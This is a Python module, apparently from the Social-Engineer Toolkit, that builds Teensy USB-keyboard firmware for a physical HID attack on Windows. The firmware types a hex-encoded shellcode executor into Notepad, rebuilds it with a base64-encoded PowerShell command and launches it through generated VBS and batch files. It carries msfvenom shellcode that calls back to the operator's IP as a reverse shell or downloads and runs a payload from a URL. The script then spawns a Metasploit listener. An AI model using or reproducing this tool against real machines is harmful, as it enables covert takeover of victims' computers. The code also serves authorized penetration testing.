#!/usr/bin/python
from __future__ import print_function
import binascii,base64,sys,os,random,string,subprocess,socket
from src.core.setcore import *
from src.core.dictionaries import *
from src.core.menu.text import *

try:
    input = raw_input
except NameError:
    pass

################################################################################################
#
#                               BSIDES LV EXE to Teensy Creator
#
#                                by Josh Kelley (@winfang98)
#                                Dave Kennedy (@hackingdave)
#
################################################################################################

################################################################################################
################################################################################################

#
# metasploit_path here
#
msf_path = meta_path() + "msfconsole"
if msf_path == "msfconsole": msf_path = "/usr/bin/msfconsole"

################################################################
#
# shell exec payload hex format below packed via upx
#
# shellcodeexec was converted to hex via binascii.hexlify:
#
# import binascii
# fileopen = file("shellcodeexec.exe", "wb")
# data = fileopen.read()
# data = binascii.hexlify(data)
# filewrite = file("hex.txt", "w")
# filewrite.write(data)
# filewrite.close()
#
################################################################
#
shell_exec = "[encoded data, 10240 characters]"
#
#########################################
#
# shell exec payload hex format above
#
#########################################

# print main stuff for the application
print("""
********************************************************************
        BSIDES Las Vegas ----  EXE to Teensy Creator
********************************************************************

Written by: Josh Kelley (@winfang98) and Dave Kennedy (ReL1K, @HackingDave)

This program will take shellexeccode which is converted to hexadecimal and
place it onto a victim machine through hex to binary conversion via powershell.

After the conversion takes place, Alphanumeric shellcode will then be injected
straight into memory and the stager created and shot back to you.
""")

# if we dont detect metasploit
if not os.path.isfile(msf_path): sys.exit("\n[!] Your no gangster... Metasploit not detected, check set_config.\n")

# if we hit here we are good since msfvenom is installed
###################################################
#        USER INPUT: SHOW PAYLOAD MENU 2          #
###################################################

show_payload_menu2 = create_menu(payload_menu_2_text, payload_menu_2)
payload=(input(setprompt(["14"], "")))

if payload == "exit" :
    exit_set()

# if its default then select meterpreter
if payload == "" : payload="2"

# assign the right payload
payload=ms_payload(payload)

# if we're downloading and executing a file
url = ""
if payload == "windows/download_exec":
    url = input(setprompt(["6"], "The URL with the payload to download and execute"))
    url = "set URL " + url

#
# grab the interface ip address
#
ipaddr = grab_ipaddress()


# try except for Keyboard Interrupts
try:
    # grab port number
    while 1:
        port = input(setprompt(["6"], "Port to listen on [443]"))
        # assign port if enter is specified
        if port == "": port = 443
        try:
            # try to grab integer port
            port = int(port)
            # if we aren't using a valid port
            if port >= 65535:
                # trigger exception
                port = "dfds"
                port = int(port)
            break

        # if we bomb out then loop through again
        except:
            print_error("[!] Not a valid port number, try again.")
            # pass through
            pass

# except keyboardintterupts here
except KeyboardInterrupt:
    print(r"""
    .-. .-. . . .-. .-. .-. .-. .-.   .  . .-. .-. .-.
    |.. |-| |\| |.. `-.  |  |-  |(    |\/| | | |  )|-
    `-' ` ' ' ` `-' `-'  '  `-' ' '   '  ` `-' `-' `-'
                                               disabled.""")
    print()
    sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n")

print_status("Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...")
# grab msfvenom alphanumeric shellcode to be inserted into shellexec
proc = subprocess.Popen("%smsfvenom -p %s EXITFUNC=thread LHOST=%s LPORT=%s %s --format raw -e x86/alpha_mixed BufferRegister=EAX" % (meta_path(),payload,ipaddr,port,url), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read in stdout which will be our alphanumeric shellcode
alpha_payload = proc.stdout.read().decode("latin-1")
# generate a random filename this is going to be needed to read 150 bytes in at a time
random_filename = generate_random_string(10,15)
# prep a file to write
with open(random_filename, "w", encoding="ascii") as filewrite:
    filewrite.write(shell_exec)
# open up the random file
fileopen = open(random_filename, "r", encoding="ascii")
# base counter will be used for the const char RevShell_counter
counter = 0
# space to write out per line in the teensy ino file
space = 50
# rev counter is used for the second writeout
rev_counter = 0
# here we begin the code
output_variable = "/* Teensy Hex to File Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K) - file ext changed to .ino and prog_char & PROGMEM modified */\n#include <avr/pgmspace.h>\n"

# powershell command here, needs to be unicoded then base64 in order to use encodedcommand
powershell_command = "$s=gc \"$HOME\\AppData\\Local\\Temp\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\%s.exe\",$b)" % (random_filename,random_filename)

########################################################################################################################################################################################################
#
# there is an odd bug with python unicode, traditional unicode inserts a null byte after each character typically.. python does not so the encodedcommand becomes corrupt
# in order to get around this a null byte is pushed to each string value to fix this and make the encodedcommand work properly
#
########################################################################################################################################################################################################

# blank command will store our fixed unicode variable
blank_command = ""
# loop through each character and insert null byte
for char in powershell_command:
    # insert the nullbyte
    blank_command += char + "\x00"

# assign powershell command as the new one
powershell_command = blank_command
# base64 encode the powershell command
powershell_command = base64.b64encode(powershell_command.encode("utf-8")).decode("ascii")

# while true
while 1:
    # read 150 bytes in at a time
    reading_hex = fileopen.read(space).rstrip()
    # if its blank then break out of loop
    if reading_hex == "": break
    # write out counter and hex
    output_variable += 'const char RevShell_%s[] = "%s";\n' % (counter,reading_hex)
    # increase counter
    counter = counter +1

# write out the rest
output_variable += "const char *exploit[] = {\n"
# while rev_counter doesn't equal regular counter
while rev_counter != counter:
    output_variable+="RevShell_%s" % rev_counter
    # incremenet counter
    rev_counter = rev_counter + 1
    if rev_counter == counter:
        # if its equal that means we
        # are done and need to append a };
        output_variable+="};\n"
    if rev_counter != counter:
        # if we don't equal, keep going
        output_variable+=",\n"

# vbs filename
vbs = generate_random_string(10,15) + ".vbs"
# .batch filename
bat = generate_random_string(10,15) + ".bat"

# write the rest of the teensy code
output_variable += ("""
char buffer[55];
int ledPin = 11;

void setup() {
  pinMode(ledPin, OUTPUT);
}
void loop()
{
  BlinkFast(2);
  delay(5000);
  CommandAtRunBar("cmd /c echo 0 > %%TEMP%%\\\\%s");
  delay(750);
  CommandAtRunBar("notepad %%TEMP%%\\\\%s");
  delay(1000);
  // Delete the 0
  Keyboard.set_key1(KEY_DELETE);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  // Write the binary to the notepad file
  int i;
  for (i = 0; i < sizeof(exploit)/sizeof(int); i++) {
    strcpy_P(buffer, (char*)pgm_read_word(&(exploit[i])));
    Keyboard.print(buffer);
    delay(80);
  }
  // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST!
  delay(5000);
  CtrlS();
  delay(2000);
  AltF4();
  delay(5000);
  // Cannot pass entire encoded command because of the start run length
  // run through cmd
  CommandAtRunBar("cmd");
  delay(1000);
  Keyboard.println("powershell -EncodedCommand %s");
  delay(4000);
  Keyboard.println("echo Set WshShell = CreateObject(\\"WScript.Shell\\") > %%TEMP%%\\\\%s");
  Keyboard.println("echo WshShell.Run chr(34) ^& \\"%%TEMP%%\\\\%s\\" ^& Chr(34), 0 >> %%TEMP%%\\\\%s");
  Keyboard.println("echo Set WshShell = Nothing >> %%TEMP%%\\\\%s");
  Keyboard.println("echo %%TEMP%%\\\\%s.exe %s > %%TEMP%%\\\\%s");
  Keyboard.println("wscript %%TEMP%%\\\\%s");
  delay(1000);
  Keyboard.println("exit");
  delay(9000000);
}
void BlinkFast(int BlinkRate){
  int BlinkCounter=0;
  for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){
    digitalWrite(ledPin, HIGH);
    delay(80);
    digitalWrite(ledPin, LOW);
    delay(80);
  }
}
void AltF4(){
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
void CtrlS(){
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.set_key1(KEY_S);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
// Taken from IronGeek
void CommandAtRunBar(char *SomeCommand){
  Keyboard.set_modifier(128);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void PRES(int KeyCode){
Keyboard.set_key1(KeyCode);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void SPRE(int KeyCode){
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KeyCode);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}""" % (random_filename,random_filename,powershell_command,vbs,bat,vbs,vbs,random_filename,alpha_payload,bat,vbs))
# delete temporary file
if os.path.isfile(random_filename):
    os.remove(random_filename)
if not os.path.isdir(userconfigpath + "reports"): os.makedirs(userconfigpath + "reports")
print_status("Binary to Teensy file exported as %sreports/binary2teensy" % (userconfigpath))
# write the teensy.ino file out
with open(userconfigpath + "reports/binary2teensy.ino", "w", encoding="utf-8") as filewrite:
    filewrite.write(output_variable)
print_status("Generating a listener...")
# create our metasploit answer file
answer_path = userconfigpath + "answer.txt"
with open(answer_path, "w", encoding="utf-8") as filewrite:
    filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url))
# spawn a multi/handler listener
subprocess.Popen(["msfconsole", "-r", answer_path]).wait()
print_status("[*] Housekeeping old files...")
# if our answer file is still there (which it should be), then remove it
if os.path.isfile(answer_path):
    # remove the old file, no longer used once we've exited
    os.remove(answer_path)
